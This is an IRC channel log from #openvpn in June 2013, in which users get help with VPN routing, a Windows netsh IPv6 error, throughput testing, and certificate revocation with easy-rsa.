21:31 -!- raidz is now known as raidz_away
21:42 -!- wilee-nilee [~meh@unaffiliated/fyodorovna] has joined #openvpn
21:54 -!- wilee-nilee [~meh@unaffiliated/fyodorovna] has quit [Quit: Leaving]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:45 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
22:52 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
22:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:03 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
23:05 -!- andygraybeal__ [~andy@obsidian.casanueva.com] has joined #openvpn
23:05 -!- andygraybeal__ [~andy@obsidian.casanueva.com] has left #openvpn ["Ex-Chat"]
23:38 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
--- Day changed Wed Jun 12 2013
00:01 -!- baobeiiiii [~baobeiiii@180.154.233.155] has quit [Quit: Leaving]
00:21 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
01:02 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
01:04 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 255 seconds]
01:05 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:48 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:01 -!- folivora [~out@46.19.34.64] has quit [Remote host closed the connection]
02:15 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Quit: the clouds will part and the sky cracks open and god himself will reach his fucking arm through just to push you down just to hold you down stuck in this hole with the shit and the piss and it's hard to believe it could come down to this back at the begi]
02:15 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
02:27 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:29 -!- trumee [~parul@93.186.149.134] has quit [Read error: No route to host]
02:30 -!- trumee [~parul@93.186.149.134] has joined #openvpn
02:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:45 < andi> Hi
02:46 < andi> Is there a problem when the route from the vpn server to a specific ip is another one than backwards for openvpn?
02:46 < andi> My setup: vpn server and two clients.
02:47 < andi> vpn: 192.168.111.0/24 LAN: 172.16.1.0/24
02:48 < andi> client2 is a router to 172.16.1.0/24 but has a crosslink to client1 which has also an ip of this LAN.
02:48 < andi> What I like to do is to have a second client which can route into this LAN when one of them is not present anymore.
02:49 < andi> The problem is: when I ping client1s LAN ip from my vpn server while client2 is the router I do not get an answer.
02:50 -!- trumee [~parul@93.186.149.134] has quit [Ping timeout: 248 seconds]
02:52 -!- trumee [~parul@93.186.147.86] has joined #openvpn
03:00 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:02 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Remote host closed the connection]
03:05 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
03:24 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Ping timeout: 276 seconds]
03:26 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
03:34 -!- JAVACODER [~JAVACODER@2.190.46.206] has joined #openvpn
03:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds]
03:35 -!- xTz_ [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
03:36 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:36 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
03:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
03:37 -!- mode/#openvpn [+o dazo_afk] by ChanServ
03:37 -!- dazo_afk is now known as dazo
03:41 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
03:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:11 -!- JSharpe_ [~JSharpe@ns237393.ovh.net] has quit [Read error: Connection reset by peer]
04:14 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
04:16 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has joined #openvpn
04:28 -!- zenmower [~zm@feh-15-2.dialup.vitaslug.com] has joined #openvpn
04:28 < zenmower> hello
04:28 < zenmower> i have done this before a long time ago but i cannot remember how i did it
04:29 < zenmower> there was something I put in my config that let my phone pass traffic though a proxy when i connected to openvpn
04:29 < zenmower> i installed ziproxy to save a little bandwidth while browsing
04:32 < zenmower> oh wait
04:32 < zenmower> nm
04:52 -!- irukandji [~irukandji@94.242.213.101] has joined #openvpn
05:02 -!- zenmower [~zm@feh-15-2.dialup.vitaslug.com] has left #openvpn ["Leaving"]
05:03 -!- erry_ is now known as erry
05:04 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
05:04 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 246 seconds]
05:05 < irukandji> Hi, I am having annoying problem but i dont know where to start solving it, if someone can help me out. I have freebsd box with multiple servers (httpd,postfix,...) behind a router with port forwarding to internal server address. When i start openvpn client the servers are no longer accessible from outside even if they have bind addresses set to internal network. If i access port from outside, it looks to me
05:05 < irukandji> like the first packet reaches the server but the reply is send via vpn tun...
05:06 < irukandji> Routing table> http://pastebin.com/82YZ1YZg
05:06 < irukandji> i dont know where to start fixing this, i can jail vpn if possible i would like to avoid that
05:09 -!- andi [~andi@unaffiliated/fr00d] has left #openvpn []
05:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
05:11 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
05:15 < defswork> irukandji, routing tables ?
05:15 < defswork> looks like you are changing your default route
05:16 < irukandji> well the problem is
05:16 < irukandji> that i didnt set up this
05:16 < irukandji> it is from Boleh VPN
05:16 < irukandji> and it works
05:16 < irukandji> but now i dont know how to enable other daemons to wok
05:16 < irukandji> work
05:17 < defswork> check if the default gateway is changing when the client is connected
05:17 < defswork> it looks like it is to me - which means all your non-specific routes will go via the vpn
05:17 < defswork> so you need to either add routes for the specific subnets that should be accessible via the vpn
05:18 < defswork> and remove the redirect-gateway
05:18 < defswork> and if thats not possible - do some very clever firewall stuff to mark the incoming service destined packets and add a rule based routing table
05:19 < irukandji> this is the table with vpn stopped> http://pastebin.com/R2TP1TFJ
05:19 < defswork> so replies to packets from the internet use a different routing table to the default one
05:20 < defswork> and the one that matters ?
05:20 < irukandji> well for the daemons it should be 192.168.1.1
05:20 < irukandji> for everything else the vpn one
05:21 < defswork> packets aren't routed by process
05:21 < defswork> what is the routing table when the vpn is connected
05:21 < irukandji> Routing table> http://pastebin.com/82YZ1YZg
05:21 < irukandji> this one is with vpn connected
05:21 < defswork> ok - so your default route is going down the vpn
05:22 < defswork> should it ?
05:22 < defswork> what is the role of the vpn ?
05:22 < defswork> anonymiser ?
05:22 < irukandji> yes
05:22 < defswork> you need to learn some ip tables then
05:23 < irukandji> ipfw, ok
05:23 < defswork> mark the incoming packets for new connections on your 192.168.1.1 interface and then add a new ip rule to use a different routing table
05:24 < defswork> http://lartc.org/howto/lartc.rpdb.html
05:24 <@vpnHelper> Title: Rules - routing policy database (at lartc.org)
05:25 < irukandji> ok, thank you, i'll try to figure it out
05:25 < defswork> understanding is the hard part - it will only be 3-4 command to acheive
05:25 < irukandji> i know :) it is always like that ... but thats why it is fun :)
05:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:30 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
05:31 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 240 seconds]
05:32 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
05:32 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
05:33 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
05:33 -!- EugeneKay [eugene@rfc2324.net] has quit [Ping timeout: 245 seconds]
05:33 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 240 seconds]
05:33 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 240 seconds]
05:33 -!- kenyon [kenyon@2600:3c01::f03c:91ff:fe93:b0d1] has quit [Ping timeout: 240 seconds]
05:33 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 240 seconds]
05:33 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Ping timeout: 245 seconds]
05:34 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has quit [Ping timeout: 240 seconds]
05:34 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
05:34 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
05:36 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
05:36 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
05:37 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
05:37 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
05:37 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
05:37 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
05:37 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
05:39 -!- EugeneKay [eugene@rfc2324.net] has joined #openvpn
05:40 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
05:40 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds]
05:40 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 245 seconds]
05:40 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 240 seconds]
05:41 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
05:42 -!- JAVACODER [~JAVACODER@2.190.46.206] has quit [Ping timeout: 256 seconds]
05:54 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:59 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
06:00 -!- JSharpe__ [~JSharpe@176.253.10.142] has joined #openvpn
06:01 -!- kirin` [telex@gateway/shell/anapnea.net/x-fxylscfrxadmffon] has quit [Ping timeout: 260 seconds]
06:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-hhzsylmurpijcveb] has joined #openvpn
06:03 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Ping timeout: 255 seconds]
06:03 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
06:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
06:04 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Ping timeout: 246 seconds]
06:04 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
06:05 -!- JSharpe__ [~JSharpe@176.253.10.142] has quit [Ping timeout: 260 seconds]
06:05 -!- JSharpe__ [~JSharpe@176.253.10.142] has joined #openvpn
06:08 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Ping timeout: 256 seconds]
06:09 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
06:09 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Ping timeout: 240 seconds]
06:10 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
06:10 -!- JSharpe__ [~JSharpe@176.253.10.142] has quit [Ping timeout: 255 seconds]
06:11 -!- JSharpe__ [~JSharpe@176.253.10.142] has joined #openvpn
06:14 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Ping timeout: 252 seconds]
06:14 -!- JSharpe [~JSharpe@176.253.10.142] has joined #openvpn
06:15 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Ping timeout: 252 seconds]
06:15 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
06:16 -!- JSharpe__ [~JSharpe@176.253.10.142] has quit [Ping timeout: 246 seconds]
06:16 -!- JSharpe__ [~JSharpe@176.253.10.142] has joined #openvpn
06:18 -!- JSharpe__ is now known as 6JTAAU5HT
06:18 -!- JSharpe__ [~JSharpe@176.253.10.142] has joined #openvpn
06:19 -!- JSharpe [~JSharpe@176.253.10.142] has quit [Ping timeout: 264 seconds]
06:20 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Ping timeout: 241 seconds]
06:20 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
06:21 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
06:21 -!- 6JTAAU5HT [~JSharpe@176.253.10.142] has quit [Ping timeout: 256 seconds]
06:22 -!- JSharpe__ [~JSharpe@176.253.10.142] has quit [Ping timeout: 246 seconds]
06:23 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
06:23 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
06:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:27 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
06:27 -!- lmm_ is now known as lmm
06:30 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
06:31 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
06:32 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
06:38 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
06:38 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
06:42 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
06:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:45 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
06:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:50 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:57 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
06:58 -!- OllieN [~znc@sponge.acol.edu.au] has joined #openvpn
06:59 -!- CookieNinja_ [carrot@unaffiliated/tommehm] has quit [Read error: Connection reset by peer]
06:59 -!- Zenum [~znc@unaffiliated/zenum] has quit [Read error: Connection reset by peer]
07:05 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
07:06 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
07:09 -!- elichai2 [~elichai2@95.86.78.169] has joined #openvpn
07:09 -!- APTX [APTX@unaffiliated/aptx] has quit [Quit: No Ping reply in 180 seconds.]
07:10 < elichai2> what can i do with netsh error?
07:10 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
07:10 < elichai2> i'm running the openVPN with Admin Permissions
07:10 < elichai2> and i tried to reinstall openvpn
07:11 < elichai2> any thoughts?
07:11 < elichai2> someone is alive?
07:13 < elichai2> hello?
07:13 <@ecrist> good morning
07:13 < elichai2> good morning to you too
07:13 <@ecrist> elichai2: you haven't actually said what your problem is
07:14 < elichai2> this error:
07:14 < elichai2> NETSH: C:\Windows\system32\netsh.exe interface ipv6 set address Local Area Connection
07:14 < elichai2> ERROR: netsh command failed: returned error code 1
07:14 <@ecrist> what version of windows?
07:14 < elichai2> windows 8
07:15 < EugeneKay> Are you running it as Admin?
07:15 < elichai2> yes
07:15 <@ecrist> not sure.
07:15 < EugeneKay> You're sure? ;-)
07:15 < elichai2> yes!
07:15 < elichai2> really really sure
07:16 < elichai2> anyone?please?
07:18 -!- mattock_afk is now known as mattock
07:19 < elichai2> please?.......
07:19 < EugeneKay> !rocks
07:19 <@vpnHelper> "rocks" is Nobody around but us rocks! Please go ahead and ask your question, and be patient - somebody helpful will eventually perk up.
07:20 <@ecrist> elichai2: I don't use windows, so I can't help, sorry.
07:20 < EugeneKay> Generally, we(at least I) don't put much effort into Windows, because goddamn you windows.
07:20 < EugeneKay> netsh coming back like that is typically(in my usage) caused by lack of Admin privs
07:20 < elichai2> there is any Replacement to netsh
07:20 < elichai2> ?
07:24 < Brandano> elichai2: apart for the fact that ipv4 is considered obsolete, do you actually need ipv6 support on your vpn network?
07:25 <@ecrist> elichai2: it's not that netsh is the problem.  the command netsh is trying to execute is failing.
07:25 <@ecrist> I'm guessing it's a permissions issue
07:25 < Brandano> because if ipv4 gives you enough addresses on your vpn and your router manages well with .local ipv4 and the wan, I'd just disable ipv6 on the interface and retry
07:28 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
07:28 < elichai2> Brandano, i think i don't actually need ipv6
07:28 -!- lharis [~lharis@pool-71-99-54-220.tampfl.fios.verizon.net] has joined #openvpn
07:28 < elichai2> so how can you explain me how to do that?
07:29 < lharis> hi - am I able to setup a home vpn that only requires an ip:port to connect? (no software on the remote computer needed)
07:31 < Brandano> on windows, in the advanced properties of the network adapter you can uncheck the ipv6 protocol. This should also be true of virtual network adapters
07:31 < Brandano> note that you have to be admin to do that
07:31 < Brandano> or enter the admin password when clicking tha button in Windows 7 (and 8, I guess)
07:32 < EugeneKay> lharis - not with openvpn, no. What you're describing is a proxy server.
07:33 < Brandano> EugeneKay: or a vpn with some form of directx/java plugin client, I suppose. i met a couple of those
07:33 < EugeneKay> Those aren't VPNs. Those are cow shit.
07:33 < Brandano> yup
07:33 < lharis> so all vpn connections require software
07:33 < lharis> host and remote
07:33 < Brandano> but they allow you to share network resources through an encrypted channel
07:34 < Brandano> lharis: yep. you need to have a way to secure the traffic
07:34 < Brandano> ANY networking protocol requires a client
07:35 < lharis> does a vpn provide for a faster connection than a proxy?
07:35 < Brandano> well, the protocol will exist without a server or client, being an abstract concept...
07:35 < Brandano> vpn is slower than a proxy. it has to encrypt the traffic.
07:36 < lharis> ic
07:36 < Brandano> a proxy is a server that relays your traffic through. blindly.
07:37 < elichai2> Brandano, this is my ovpn config:
07:37 < elichai2> http://pastebin.com/0P36eAcc
07:37 < elichai2> how can i uncheck the ipv6 protocol?
07:37 < Brandano> and incidentally can see all your passwords and data passing through, so if you think you'll get better security using an open proxy, rethink it.
07:37 < lharis> even ssl proxies?
07:37 < Brandano> elichai2: it's not in the openvpn config, is a property of the adapter
07:38 < lharis> or does that then slow it down to vpn speed?
07:38 < elichai2> what do you mean?
07:38 < Brandano> well, ssl traffic is encrypted end-to-end by definition
07:38 < Brandano> lharis: as long as you can trust the certificates to be untampered with
07:39 < Brandano> lharis: with some tweaking is probably possible to run an MITM attack on an ssl proxy
07:39 < lharis> I think that a broadband card is a better idea.. lol
07:39 < Brandano> especially if the certificates are verified through the same. You must assume that who manages the server can do anything he wants with your packets
07:40 < elichai2> Brandano, can you tell me how to do it?thnaks
07:41 -!- lharis1 [~lharis@pool-71-99-54-220.tampfl.fios.verizon.net] has joined #openvpn
07:41 < lharis1> never uninstall hamachi while on irc.. lol
07:41 < Brandano> elichai2: 1) probably this won't fix anything, but worth a try. Ipv6 on a lan seems to cause trouble in several occasions. 2) JFGI.. oh well, here's the first link I got: http://www.techunboxed.com/2012/08/how-to-disable-ipv6-in-windows-8.html
07:42 < lharis1> what do you think about the mobile broadband cards Brandano?
07:42 < lharis1> are those secure
07:42 < Brandano> lharis: whaty is your aim? Disguising your browsing? Why should you trust me? Or the mobile broadband provider?
07:43 < Brandano> If you must be paranoid, you must be it completely. Half paranoid is not enough
07:43 < lharis1> right
07:43 < Brandano> if you use a VPN service, how can you trust the VPN provider? You are essentially joining your machine to his network
07:44 < lharis1> was thinking about setting it up on my own network
07:44 -!- lharis [~lharis@pool-71-99-54-220.tampfl.fios.verizon.net] has quit [Ping timeout: 264 seconds]
07:44 < Brandano> ok, this means that you can reach your network securely from an outer network
07:45 < Brandano> but this won't make you more secure, other than for the fact that you will be browsing from somewhere else as if you were on the LAN
07:45 < Brandano> so, if you need a safe way to reach your network shares, yes, set up an openvpn server
07:46 -!- Me [elichai2@2001:470:1f04:6ed:2::42] has joined #openvpn
07:46 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
07:46 < Brandano> If you want to browse around a censorious regime, find a vpn provider you trust and browse through them
07:46 -!- Me is now known as Guest68621
07:46 < Brandano> If you want to be untraceable, well, vpn is probably not enough
07:47 < lharis1> nah, I just would rather not be on a public open network with hundreds of pc's
07:47 < Brandano> Look into other solutions, like TOR or Freenet
07:47 < lharis1> tor maybe
07:47 < Brandano> But the tradeoff is performance, and signal to noise ratio
07:48 < Brandano> Even tor will show to the world you are connected to TOR
07:48 < Brandano> but at least it will be difficult to find out what you are doing over it
07:48 < lharis1> yeah
07:48 < Brandano> and even then, unless you know very well what you are doing, you'll better thread lightly
07:49 < lharis1> or maybe just setup a home proxy
07:49 -!- elichai2 [~elichai2@95.86.78.169] has quit [Ping timeout: 240 seconds]
07:49 -!- Guest68621 [elichai2@2001:470:1f04:6ed:2::42] has left #openvpn []
07:49  * Brandano bets elichai2 hit the wrong checkbox
07:51 < lharis1> anyway.. thanks.
07:51 -!- lharis1 [~lharis@pool-71-99-54-220.tampfl.fios.verizon.net] has left #openvpn []
08:17 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
08:37 < alexander__b> anyone have ideas on how to make {up.down}.sh use libnotify-notify-send?
08:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:57 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
09:07 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
09:08 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
09:27 -!- MorgyN_ is now known as MorgyN
09:41 -!- Denial [Denial@90.208.15.68] has joined #openvpn
09:54 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:02 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:08 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:17 -!- raidz_away is now known as raidz
10:19 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:27 -!- alexander__b [~alexander@fsf/member/alexanderb] has quit [Ping timeout: 240 seconds]
10:30 -!- alexander__b [~alexander@107.4.189.109.customer.cdi.no] has joined #openvpn
10:31 -!- alexander__b [~alexander@107.4.189.109.customer.cdi.no] has quit [Changing host]
10:31 -!- alexander__b [~alexander@fsf/member/alexanderb] has joined #openvpn
10:36 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:39 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
10:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
11:01 -!- mode/#openvpn [+o dazo] by ChanServ
11:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
11:09 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
11:12 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: time to go]
11:36 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 276 seconds]
11:43 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
11:51 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:51 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 252 seconds]
11:55 -!- [HUN]Rcx2 [~HUNRcx2@193.17.175.101] has joined #openvpn
11:55 < [HUN]Rcx2> Hi!
11:59 < [HUN]Rcx2> I've an openVPN server on a VPS. I tried with UDP and TCP configruation, but i can't improve the speed above 18/4 Mbit/s. Any idea?
12:00 < [HUN]Rcx2> Comment: The vps has 50/50 connection
12:01 < Aketzu_> what speed you get when you test without vpn?
12:02 < [HUN]Rcx2> At home 40/10
12:02 < [HUN]Rcx2> In dorm 100/100
12:03 < Aketzu_> "when you test"
12:03 < Aketzu_> also "how do you test"
12:03 < [HUN]Rcx2> speedtest.net
12:04 < [HUN]Rcx2> http://www.speedtest.net/result/2769196442.png - connected to VPN
12:05 -!- [HUN]Rcx7 [HUNRcx2@host-79-121-20-203.kabelnet.hu] has joined #openvpn
12:05 < [HUN]Rcx7> re
12:06 < [HUN]Rcx7> 37.5/4.1 without it
12:08 -!- [HUN]Rcx2 [~HUNRcx2@193.17.175.101] has quit [Ping timeout: 252 seconds]
12:09 -!- Thermi- [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
12:10 < [HUN]Rcx7> Should i upload the server's and the client's conf?
12:16 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
12:22 < pekster> That's a bogus test, unless you're doing a speedtest *from* the VPN server. A far better test is to do timed transfers to your server with and without the VPN
12:22 < pekster> Don't involve additional variables when you're attempting to test performance
12:24 -!- naquad [~naquad@naquad.me] has left #openvpn ["Ухожу я от вас"]
12:30 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
12:32 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
12:35 < [HUN]Rcx7> I see, i'll test it soon.
12:42 <@krzee> !ask
12:42 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
12:48 -!- Shway [~Shway@216.208.252.66] has joined #openvpn
12:51 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
13:03 < [HUN]Rcx7> U were right. I got ~3000/420kbps on SFTP homePC<->server. Interesting...
13:16 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
13:17 -!- Shway [~Shway@216.208.252.66] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- IRC with a difference]
13:29 -!- dazo is now known as dazo_afk
14:17 -!- landono [~landono@199-58-199-98.acedc.net] has joined #openvpn
14:18 < landono> I'm trying to delete a key with easy-rsa and I'm having issues. I'm using revoke-full and I'm getting the following error http://pastebin.com/CbCwNASm
14:18 < landono> this is after I ran source vars, and the output of echo $KEY_DIR is correct
14:19 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has joined #openvpn
14:24 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
14:26 < pekster> landono: You appear not to have an issued cert by that name
14:27 < pekster> Is there a "ewahl.crt" file in the $KEY_DIR? openssl needs the cert you wish to revoke
14:28 < landono> yes there is
14:29 < pekster> Is it actually an X509 cert? The error complains that there was no start to the PEM
14:30 < pekster> openssl should show it to you without error if you do `openssl x509 -in ewahl.crt -text
14:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:40 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
14:44 -!- [HUN]Rcx7 [HUNRcx2@host-79-121-20-203.kabelnet.hu] has quit []
14:45 -!- p3rror [~p3rror@41.249.3.163] has joined #openvpn
14:51 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
14:53 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
15:18 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
15:18 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
15:18 -!- irukandji is now known as spodletela
15:21 -!- master_o1_master [~master_of@p4FF24413.dip0.t-ipconnect.de] has joined #openvpn
15:24 -!- master_of_master [~master_of@p4FF24F56.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds]
15:25 -!- simcop2387 [~simcop238@simcop2387.info] has joined #openvpn
15:26 -!- simcop2387 [~simcop238@simcop2387.info] has quit [Changing host]
15:26 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
15:30 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has quit [Quit: Quit]
15:32 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:46 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Read error: Operation timed out]
15:49 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
15:52 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
15:53 < MariusIT> back
